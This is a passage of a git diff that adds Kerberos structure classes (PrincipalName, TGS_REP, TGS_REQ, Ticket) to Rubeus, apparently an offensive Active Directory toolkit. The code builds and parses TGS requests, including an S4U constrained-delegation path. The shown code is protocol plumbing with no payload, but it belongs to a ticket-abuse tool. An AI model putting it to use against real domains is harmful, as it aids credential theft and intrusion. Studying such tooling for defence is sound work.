+ AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt });
+ nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq);
+
+
+ // name-string[1] SEQUENCE OF KerberosString
+ // add in the name string sequence (one or more)
+ AsnElt[] strings = new AsnElt[name_string.Count];
+
+ for (int i = 0; i < name_string.Count; ++i)
+ {
+ string name = name_string[i];
+ AsnElt nameStringElt = AsnElt.MakeString(AsnElt.IA5String, name);
+ nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt);
+ strings[i] = nameStringElt;
+ }
+
+ AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings);
+ AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } );
+ stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2);
+
+
+ // build the final sequences
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 });
+
+ AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
+
+ return seq2;
+ }
+
+ public long name_type { get; set; }
+
+ public List name_string { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/TGS_REP.cs b/Rubeus/lib/krb_structures/TGS_REP.cs
new file mode 100755
index 00000000..da17a2fb
--- /dev/null
+++ b/Rubeus/lib/krb_structures/TGS_REP.cs
@@ -0,0 +1,101 @@
+using Asn1;
+using System;
+using System.Text;
+
+namespace Rubeus
+{
+ public class TGS_REP
+ {
+ //TGS-REP ::= [APPLICATION 13] KDC-REP
+
+ //KDC-REP ::= SEQUENCE {
+ // pvno [0] INTEGER (5),
+ // msg-type [1] INTEGER (13 -- TGS),
+ // padata [2] SEQUENCE OF PA-DATA OPTIONAL
+ // -- NOTE: not empty --,
+ // crealm [3] Realm,
+ // cname [4] PrincipalName,
+ // ticket [5] Ticket,
+ // enc-part [6] EncryptedData
+ // -- EncTGSRepPart
+ //}
+
+ public TGS_REP(byte[] data)
+ {
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt asn_TGS_REP = AsnElt.Decode(data, false);
+
+ this.Decode(asn_TGS_REP);
+ }
+
+ public TGS_REP(AsnElt asn_TGS_REP)
+ {
+ this.Decode(asn_TGS_REP);
+ }
+
+ private void Decode(AsnElt asn_TGS_REP)
+ {
+ // TGS - REP::= [APPLICATION 13] KDC - REP
+ if (asn_TGS_REP.TagValue != 13)
+ {
+ throw new System.Exception("TGS-REP tag value should be 11");
+ }
+
+ if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16))
+ {
+ throw new System.Exception("First TGS-REP sub should be a sequence");
+ }
+
+ // extract the KDC-REP out
+ AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub;
+
+ foreach (AsnElt s in kdc_rep)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ pvno = s.Sub[0].GetInteger();
+ break;
+ case 1:
+ msg_type = s.Sub[0].GetInteger();
+ break;
+ case 2:
+ // sequence of pa-data
+ padata = new PA_DATA(s.Sub[0]);
+ break;
+ case 3:
+ crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 4:
+ cname = new PrincipalName(s.Sub[0]);
+ break;
+ case 5:
+ ticket = new Ticket(s.Sub[0].Sub[0]);
+ break;
+ case 6:
+ enc_part = new EncryptedData(s.Sub[0]);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ // won't really every need to *create* a TGS reply, so no encode
+
+ public long pvno { get; set; }
+
+ public long msg_type { get; set; }
+
+ public PA_DATA padata { get; set; }
+
+ public string crealm { get; set; }
+
+ public PrincipalName cname { get; set; }
+
+ public Ticket ticket { get; set; }
+
+ public EncryptedData enc_part { get; set; }
+ }
+}
diff --git a/Rubeus/lib/krb_structures/TGS_REQ.cs b/Rubeus/lib/krb_structures/TGS_REQ.cs
new file mode 100755
index 00000000..f5e0148f
--- /dev/null
+++ b/Rubeus/lib/krb_structures/TGS_REQ.cs
@@ -0,0 +1,144 @@
+using Asn1;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Rubeus
+{
+ //TGS-REQ ::= [APPLICATION 12] KDC-REQ
+
+ //KDC-REQ ::= SEQUENCE {
+ // -- NOTE: first tag is [1], not [0]
+ // pvno [1] INTEGER (5) ,
+ // msg-type [2] INTEGER (12 -- TGS),
+ // padata [3] SEQUENCE OF PA-DATA OPTIONAL
+ // -- NOTE: not empty --,
+ // in this case, it's an AP-REQ
+ // req-body [4] KDC-REQ-BODY
+ //}
+
+ public class TGS_REQ
+ {
+ public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "")
+ {
+ TGS_REQ req = new TGS_REQ();
+
+ // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
+ PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype);
+ req.padata.Add(padata);
+
+ // set the username
+ req.req_body.cname.name_string.Add(userName);
+
+ // the realm (domain) the user exists in
+ req.req_body.realm = domain;
+
+ if (!String.IsNullOrEmpty(s4uUser))
+ {
+ // constrained delegation yo'
+ PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
+ req.padata.Add(s4upadata);
+
+ req.req_body.sname.name_type = 1;
+ req.req_body.sname.name_string.Add(userName);
+
+ req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
+
+ req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
+ req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
+ req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
+ }
+
+ else
+ {
+ // add in our encryption type
+ req.req_body.etypes.Add(etype);
+
+ // KRB_NT_SRV_INST = 2
+ // service and other unique instance (e.g. krbtgt)
+ req.req_body.sname.name_type = 2;
+ req.req_body.sname.name_string.Add(sname);
+ req.req_body.sname.name_string.Add(domain);
+
+ if (renew)
+ {
+ req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
+ }
+ }
+
+ return req.Encode().Encode();
+ }
+
+ public static byte[] NewTGSReq(byte[] kirbi)
+ {
+ // take a supplied .kirbi TGT cred and build a TGS_REQ
+
+ return null;
+ }
+
+
+ public TGS_REQ()
+ {
+ // default, for creation
+ pvno = 5;
+
+ // msg-type [2] INTEGER (12 -- TGS)
+ msg_type = 12;
+
+ padata = new List();
+
+ req_body = new KDCReqBody();
+ }
+
+ public AsnElt Encode()
+ {
+ // pvno [1] INTEGER (5)
+ AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
+ AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
+ pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
+
+
+ // msg-type [2] INTEGER (12 -- TGS -- )
+ AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
+ AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
+ msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
+
+
+ // padata [3] SEQUENCE OF PA-DATA OPTIONAL
+ List padatas = new List();
+ foreach (PA_DATA pa in padata)
+ {
+ padatas.Add(pa.Encode());
+ }
+ AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
+ AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
+ padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
+
+
+ // req-body [4] KDC-REQ-BODY
+ AsnElt req_Body_ASN = req_body.Encode();
+ AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
+ req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
+
+
+ // encode it all into a sequence
+ AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
+
+ // TGS-REQ ::= [APPLICATION 12] KDC-REQ
+ // put it all together and tag it with 10
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
+ totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 12, totalSeq);
+
+ return totalSeq;
+ }
+
+ public long pvno { get; set; }
+
+ public long msg_type { get; set; }
+
+ public List padata { get; set; }
+
+ public KDCReqBody req_body { get; set; }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/Ticket.cs b/Rubeus/lib/krb_structures/Ticket.cs
new file mode 100755
index 00000000..a31cba62
--- /dev/null
+++ b/Rubeus/lib/krb_structures/Ticket.cs
@@ -0,0 +1,82 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+
+namespace Rubeus
+{
+ public class Ticket
+ {
+ //Ticket::= [APPLICATION 1] SEQUENCE {
+ // tkt-vno[0] INTEGER(5),
+ // realm[1] Realm,
+ // sname[2] PrincipalName,
+ // enc-part[3] EncryptedData -- EncTicketPart
+ //}
+
+ public Ticket(AsnElt body)
+ {
+ foreach (AsnElt s in body.Sub)
+ {
+ switch (s.TagValue)
+ {
+ case 0:
+ tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger());
+ break;
+ case 1:
+ realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
+ break;
+ case 2:
+ sname = new PrincipalName(s.Sub[0]);
+ break;
+ case 3:
+ enc_part = new EncryptedData(s.Sub[0]);
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ public AsnElt Encode()
+ {
+ // tkt-vno [0] INTEGER (5)
+ AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno);
+ AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn });
+ tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq);
+
+
+ // realm [1] Realm
+ AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm);
+ realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
+ AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn);
+ realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq);
+
+
+ // sname [2] PrincipalName
+ AsnElt snameAsn = sname.Encode();
+ snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn);
+
+
+ // enc-part [3] EncryptedData -- EncTicketPart
+ AsnElt enc_partAsn = enc_part.Encode();
+ AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn);
+ enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq);
+
+
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq });
+ AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
+ totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2);
+
+ return totalSeq2;
+ }
+
+ public int tkt_vno { get; set; }
+
+ public string realm { get; set; }
+
+ public PrincipalName sname { get; set; }
+
+ public EncryptedData enc_part { get; set; }
+ }
+}
\ No newline at end of file